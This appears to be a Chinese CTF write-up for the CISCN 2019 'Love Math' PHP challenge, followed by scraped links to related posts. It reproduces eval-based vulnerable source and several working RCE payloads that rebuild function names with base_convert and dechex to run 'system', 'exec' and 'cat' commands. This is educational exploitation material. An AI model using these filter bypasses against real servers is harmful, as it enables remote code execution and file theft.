[CISCN 2019 初赛]Love Math

0x00 知识点

PHP函数:

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump()?:函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

动态函数

php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数例如:$function = "sayHello";$function();

php中函数名默认为字符串

例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择

0x01 解题

打开题目,给了我们源码:

<html>
 <meta charset="utf-8">
 </html>
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
       die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }

    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
       }
    }

    eval('echo '.$content.';');
}

分析一下:

1.payload长度不能超过80

2.payload中不能包含‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘‘‘, ‘"‘, ‘`‘, ‘[‘, ‘]‘?这些字符

3.payload中不能有不是$whitelist白名单里面的单词出现,比如

abs(1)能过
1abs()能过
absa()不能过
abs(a)不能过
abs()a不能过

80个字符比较少,想办法构造$GET[1]再传参getflag,但是其实发现构造这个好像更难。。。因为$、、[、]都不能用,同时GET必须是大写,很难直接构造。一种payload是这样:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

另一种payload是这样

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

经过尝试,并不比getflag

**既然不能$_GET,那就header传**

$_GET,$_POST之类的,但是因为只能控制小写字符,所以大写的直接被pass掉

getallheader()返回的是数组,要从数组里面取数据用array[‘xxx‘],但是无奈[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以返回自定义头1里面的内容

最后的payload如下

$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})//exec(getallheaders(){1})

操作xx和yy,中间用逗号隔开,
echo都能输出echo xx,yy
并且在请求头上加上1:cat flag.php字段即可

就是读不出来flag..
本来也是学习知识点,以后在本地复现吧。。

思路二:

直接想办法catflag也是可以的

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

参考链接

https://www.cnblogs.com/sijidou/p/10802475.html

原文地址:https://www.cnblogs.com/wangtanzhi/p/12246731.html

时间: 2024-11-13 09:07:33

[CISCN 2019 初赛]Love Math的相关文章

[BUUOJ记录] [CISCN 2019 初赛]Love Math

主要考察利用已有函数构造危险函数绕过,实现RCE. 进入题目给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { //[NESTCTF 2019]Love Math2这里限制长度为60,用本题的异

Math 353/DSC 301, Spring 2019, Final Exam

Math 353/DSC 301, Spring 2019, Final ExamPlease remember to write down your name and student ID. This is the take-home portion whichhas four problems. Only independently-finished and fully-justified answer will receive full credit.1. [11 = 3 + 2 + 4

2019 年百度之星 初赛一 1002 Game

传送门 Problem Description 度度熊在玩一个好玩的游戏.游戏的主人公站在一根数轴上,他可以在数轴上任意移动,对于每次移动,他可以选择往左或往右走一格或两格.现在他要依次完成 n 个任务,对于任务 i,只要他处于区间 [ai,bi] 上,就算完成了任务.度度熊想知道,为了完成所有的任务,最少需要移动多少次?度度熊可以任意选择初始位置. Input 第一行一个整数 T (1≤T≤10) 表示数据组数.对于每组数据,第一行一个整数 n (1≤n≤1000) 表示任务数.接下来 n 行

2019.10.19初赛滚粗后的日子

写在故事的前面的话 人生中第一次考CSP-S,然后考得有点自闭,我想我写这篇blog并不是想要说AFO之类的话,相反,我觉得自己应该继续坚持下去的丫子.自己以前欠了很多知识,以前是自己初中时期的不认真,现在我就把自己当成是高一才学OI的萌新,忘记过去对自己的一些期望,重新开始自己的OI生涯. 2019.10.19 今天在自闭完了之后还是逐渐接受了初赛没有多大几率过的事实,开始复习起之前学的东西.首先,今天开始复习树形DP(入门).list如下: Park visit (已过) 没有上司的舞会 (

2019 年百度之星&#183;程序设计大赛 - 初赛三

P.S:关于初赛二,在高铁上打代码真是奇怪的体验!!! 1003,1004的题解很不错,学习了! =========================================== 一开场把所有的题目看了一遍,这题面风格,感觉凉凉.还好,往下做时,题目不是太坑. 1002 floyd转dijkstra+堆优化,感觉是套路题了 1 #include <cstdio> 2 #include <cstdlib> 3 #include <cmath> 4 #include

String,Random,Math 等一些Object对象(2019年10月22日)

String: 在java的底层中,String使用final char[ ]来存放字符串的,final决定了字符串是不可以被更改的,只能重新赋值 而在字符串中还有两个可以更改内容的方法:1.StringBuffer  2.StringBuilder  (字符串内容可以变.java.lang) 当我们需要频繁的变更字符串的内容使用.不能像String一样通过=来赋值,必须要通过构造方法. StringBuffer sb=new StringBuffer("一个StringBuffer...&qu

2019“嘉韦思杯”3.30初赛一部分Write Up

同学们TQL.佩服李长兴同学的超神瓜皮思维. 一.飞虎队(希尔密码) 本题是我今天大部分时间的花费处.先百度学习了希尔密码,然后尝试手动计算逆矩阵和矩阵乘法,还求助于线性代数课本,可谓苦不堪言. 做题千万条,数学第一条.线代学不好,老师两行泪. 简要介绍希尔密码 希尔密码是以矩阵的线性方式为加密方式.将26个字母分别对应0到25这26个数字(之前我还徘徊过A对应0还是1,想到取余数会有0,所以确定从0开始),明文排成一个含n个m维列向量(即mn矩阵)的矩阵M的格式.密钥K为nn矩阵.加密方式为:

2019嘉韦思杯线上初赛writeup

1 土肥原贤二 看到页面怀疑是sql注入,写了个4'进去就发生报错.could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''4''' at line 1直接丢到sqlmap里id,flag20_welcome_19,20_welco

2019计蒜之道初赛第3场-阿里巴巴协助征战SARS 费马小定理降幂

题目链接:https://nanti.jisuanke.com/t/38352 发现规律之后就是算ans=2^(n-1)+4^(n-1).但是注意到n十分大是一个长度为1e5的数字.要想办法降幂. 我们观察费马小定理:a^(p-1)%p=1.发现对于质数取模,a^(p-1)是一个循环节(因为算出来等于1),可以忽略掉不算. #include<bits/stdc++.h> using namespace std; const int N=1e5+10; const int P=1e9+7; ty